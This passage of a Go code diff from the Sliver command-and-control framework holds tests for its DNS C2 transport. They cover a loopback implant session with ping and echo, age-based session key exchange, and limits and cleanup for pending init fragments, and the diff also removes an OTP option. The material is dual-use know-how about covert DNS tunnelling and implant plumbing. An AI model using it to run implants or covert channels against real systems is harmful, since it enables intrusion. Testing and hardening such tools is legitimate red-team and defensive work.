serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"google.golang.org/protobuf/proto"
)
const dnsE2EEchoMsgType = uint32(0x7fffffff)
func TestDNS_EndToEndPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
setupDNSKeyExImplantBuild(t)
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
dnsParent := "e2e.example.com."
dnsPort := freeUDPPort(t)
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
Domains: []string{dnsParent},
Canaries: false,
Host: "127.0.0.1",
Port: dnsPort,
})
if err != nil {
t.Fatalf("StartDNSListener: %v", err)
}
t.Cleanup(func() {
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
job.JobCtrl <- true
}
_ = db.DeleteListener(dnsListener.JobID)
})
// Give the UDP listener a moment to bind before the implant starts sending queries.
time.Sleep(50 * time.Millisecond)
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
pingReq := &sliverpb.Ping{
Nonce: 31337,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
pingResp, err := rpcClient.Ping(ctx, pingReq)
if err != nil {
t.Fatalf("Ping: %v", err)
}
if pingResp.Nonce != pingReq.Nonce {
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
}
// Extra validation: send a larger request/response directly via the session to
// force message fragmentation and reassembly over the DNS C2 transport.
session := core.Sessions.Get(sessionID)
if session == nil {
t.Fatalf("session not found: %s", sessionID)
}
large := make([]byte, 8192)
if _, err := rand.Read(large); err != nil {
t.Fatalf("rand.Read: %v", err)
}
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
if err != nil {
t.Fatalf("session.Request(echo): %v", err)
}
if !bytesEqual(resp, large) {
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
}
}
func bytesEqual(a, b []byte) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func freeUDPPort(t *testing.T) uint32 {
t.Helper()
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen udp: %v", err)
}
defer conn.Close()
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
if err != nil {
t.Fatalf("split udp addr: %v", err)
}
port, err := strconv.Atoi(portStr)
if err != nil {
t.Fatalf("parse udp port: %v", err)
}
if port <= 0 || 65535 < port {
t.Fatalf("unexpected udp port: %d", port)
}
return uint32(port)
}
func setupDNSKeyExImplantBuild(t *testing.T) {
t.Helper()
certs.SetupCAs()
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
if err != nil {
t.Fatalf("random age key pair: %v", err)
}
implantCrypto.SetSecrets(
peerAgeKeyPair.Public,
peerAgeKeyPair.Private,
"",
serverAgeKeyPair.Public,
serverCrypto.MinisignServerPublicKey(),
)
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
publicKeyDigest := hex.EncodeToString(digest[:])
implantBuild := &models.ImplantBuild{
Name: "test-" + publicKeyDigest,
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: publicKeyDigest,
PeerPrivateKey: peerAgeKeyPair.Private,
AgeServerPublicKey: serverAgeKeyPair.Public,
}
if err := db.Session().Create(implantBuild).Error; err != nil {
t.Fatalf("create implant build: %v", err)
}
t.Cleanup(func() {
_ = db.Session().Delete(implantBuild).Error
})
}
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
t.Helper()
opts := &dnsclient.DNSOptions{
QueryTimeout: 250 * time.Millisecond,
RetryWait: 50 * time.Millisecond,
RetryCount: 10,
MaxErrors: 10,
WorkersPerResolver: 1,
NoTXT: false,
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
}
// Starting the UDP listener is asynchronous relative to the gRPC call that
// created it. Retry session init for a short time to avoid flakes.
var (
client *dnsclient.SliverDNSClient
err error
)
deadline := time.Now().Add(5 * time.Second)
for {
client, err = dnsclient.DNSStartSession(dnsParent, opts)
if err == nil {
break
}
if time.Now().After(deadline) {
t.Fatalf("DNSStartSession: %v", err)
}
time.Sleep(50 * time.Millisecond)
}
register := &sliverpb.Register{
Name: "e2e-dns",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "dns://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(register)
if err != nil {
t.Fatalf("marshal register: %v", err)
}
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
t.Fatalf("send register: %v", err)
}
handlers := implantHandlers.GetSystemHandlers()
abort := make(chan struct{})
done := make(chan struct{})
go func() {
defer close(done)
for {
select {
case <-abort:
return
default:
}
envelope, err := client.ReadEnvelope()
switch err {
case nil:
if envelope == nil {
time.Sleep(25 * time.Millisecond)
continue
}
case dnsclient.ErrTimeout:
continue
case dnsclient.ErrClosed:
return
default:
// Treat transient resolver errors as retryable in this test loop.
continue
}
if envelope.ID == 0 {
continue
}
if envelope.Type == dnsE2EEchoMsgType {
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
continue
}
handler, ok := handlers[envelope.Type]
if !ok {
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
continue
}
handler(envelope.Data, func(data []byte, err error) {
_ = err
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
})
}
}()
return func() {
close(abort)
_ = client.CloseSession()
select {
case <-done:
case <-time.After(5 * time.Second):
}
}
}
+289 -19
View File
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
}
func TestDNSHelloRoundTrip(t *testing.T) {
func TestDNSSessionInitRoundTrip(t *testing.T) {
server := newTestDNSServer()
resolver := &testDNSResolver{server: server, parent: example1}
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: 0,
sessionID := uint32(0x123456)
if _, ok := server.sessions.Load(sessionID); ok {
t.Fatalf("expected session %d to not exist before init", sessionID)
}
domain, err := encodeMessageDomain(example1, msg)
key := implantCrypto.RandomSymmetricKey()
cipherCtx := implantCrypto.NewCipherContext(key)
initData, err := implantCrypto.AgeKeyExToServer(key[:])
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
t.Fatalf("AgeKeyExToServer failed: %s", err)
}
data, _, err := resolver.A(domain)
initMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01000000 | sessionID,
Size: uint32(len(initData)),
}
client := dnsclient.NewDNSClient(example1, opts)
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
if err != nil {
t.Fatalf("resolver.A failed: %s", err)
t.Fatalf("SplitBuffer failed: %s", err)
}
if len(data) != 4 {
t.Fatalf("expected 4 bytes in response, got %d", len(data))
var respData []byte
for _, domain := range domains {
data, _, err := resolver.TXT(domain)
if err != nil {
t.Fatalf("resolver.TXT failed: %s", err)
}
if 0 < len(data) {
respData = data
}
}
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
if sessionID == 0 {
t.Fatal("expected non-zero session id")
if len(respData) < 1 {
t.Fatal("expected non-empty init response")
}
plaintext, err := cipherCtx.Decrypt(respData)
if err != nil {
t.Fatalf("init response decrypt failed: %s", err)
}
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
if got != sessionID {
t.Fatalf("expected session id %d, got %d", sessionID, got)
}
if _, ok := server.sessions.Load(sessionID); !ok {
t.Fatalf("expected session %d to be stored", sessionID)
t.Fatalf("expected session %d to be stored after init", sessionID)
}
}
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
}
func TestIsC2Domain(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
if !isC2 {
t.Fatal("IsC2Domain expected true, got false")
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
}
func TestDecodeSubdataBase32(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
payload := make([]byte, 64)
rand.Read(payload)
original := &dnspb.DNSMessage{
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
}
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
_, _, err := listener.decodeSubdata("invalid")
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
}
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
if err != nil {
t.Fatalf("encode failed: %s", err)
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
}
}
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
server := newTestDNSServer()
// Only send a single fragment per INIT so each call allocates one pending init.
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
id := uint32(i + 1) // avoid zero
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2048,
Start: 0,
Data: []byte{0xAA},
}
_, complete, err := server.accumulateInitData(msg)
if i < defaultMaxPendingDNSInits {
if err != nil {
t.Fatalf("unexpected error for pending init %d: %v", i, err)
}
if complete {
t.Fatalf("unexpected completion for pending init %d", i)
}
if _, ok := server.messages.Load(id); !ok {
t.Fatalf("expected pending init %d to be stored", id)
}
continue
}
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
}
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected pending init %d to not be stored after cap", id)
}
}
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
}
var count int64
server.messages.Range(func(key, value any) bool {
count++
return true
})
if count != int64(defaultMaxPendingDNSInits) {
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
}
}
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
server := newTestDNSServer()
client := dnsclient.NewDNSClient(example1, opts)
testData := make([]byte, 2048)
rand.Read(testData)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: uint32(len(testData)),
}
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
if err != nil {
t.Fatalf("SplitBuffer failed: %s", err)
}
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
for _, domain := range domains {
subdata := strings.TrimSuffix(domain, example1)
subdata = strings.ReplaceAll(subdata, ".", "")
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
if err != nil {
t.Fatalf("decode subdata failed: %s", err)
}
subMsg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, subMsg); err != nil {
t.Fatalf("unmarshal submsg failed: %s", err)
}
subMsgs = append(subMsgs, subMsg)
}
for _, subMsg := range subMsgs {
_, _, err := server.accumulateInitData(subMsg)
if err != nil {
t.Fatalf("accumulateInitData failed: %v", err)
}
}
if got := server.pendingInits.Load(); got != 0 {
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
}
if _, ok := server.messages.Load(msg.ID); ok {
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
}
}
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
server := newTestDNSServer()
id := uint32(0x01020304)
// First fragment creates pending state.
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2048,
Start: 0,
Data: []byte{0xAA},
})
if err != nil {
t.Fatalf("unexpected error creating pending init: %v", err)
}
if complete {
t.Fatal("unexpected completion creating pending init")
}
if got := server.pendingInits.Load(); got != 1 {
t.Fatalf("expected pendingInits=1, got %d", got)
}
// Mismatched Size should reject and delete pending state.
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2049,
Start: 1,
Data: []byte{0xBB},
})
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
}
if got := server.pendingInits.Load(); got != 0 {
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
}
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
}
}
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
server := newTestDNSServer()
now := time.Now()
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
expiredIDs := make([]uint32, 0, 10)
freshIDs := make([]uint32, 0, 5)
for i := 0; i < 10; i++ {
id := uint32(0x90000000 + i)
expiredIDs = append(expiredIDs, id)
server.messages.Store(id, &pendingInit{
Created: expiredAt,
Envelope: &PendingEnvelope{
Size: 1,
received: 0,
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
})
server.pendingInits.Add(1)
}
for i := 0; i < 5; i++ {
id := uint32(0xA0000000 + i)
freshIDs = append(freshIDs, id)
server.messages.Store(id, &pendingInit{
Created: freshAt,
Envelope: &PendingEnvelope{
Size: 1,
received: 0,
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
})
server.pendingInits.Add(1)
}
server.gcPendingInits()
for _, id := range expiredIDs {
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected expired pending init %d to be deleted", id)
}
}
for _, id := range freshIDs {
if _, ok := server.messages.Load(id); !ok {
t.Fatalf("expected fresh pending init %d to remain", id)
}
}
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
}
}
func TestSplitToChunksPadding(t *testing.T) {
data := []byte{1, 2, 3, 4, 5, 6}
chunks := splitToChunks(data, 4)
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
messages: &sync.Map{},
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: false,
}
}
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
rand.Read(buf)
return buf
}
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
server := newTestDNSServer()
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: defaultMaxDNSInitSize + 1,
Data: []byte{0x01},
}
_, _, err := server.accumulateInitData(msg)
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
server := newTestDNSServer()
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
first := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x0a0b0c0d,
Size: 8,
Start: 0,
Stop: 5,
Data: []byte("12345"),
}
second := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x0a0b0c0d,
Size: 8,
Start: 5,
Stop: 10,
Data: []byte("67890"),
}
_, complete, err := server.accumulateInitData(first)
if err != nil {
t.Fatalf("unexpected error on first chunk: %v", err)
}
if complete {
t.Fatal("expected incomplete state after first chunk")
}
_, _, err = server.accumulateInitData(second)
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
+1 -1
View File
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
// StartDNSListenerJob - Start a DNS listener as a job
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
job := &core.Job{
ID: core.NextJobID(),
+1
View File
@@ -446,6 +446,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
buildLog.Debugf("Generating new sliver binary '%s'", name)
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
sliversDir := GetSliversDir() // ~/.sliver/slivers
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {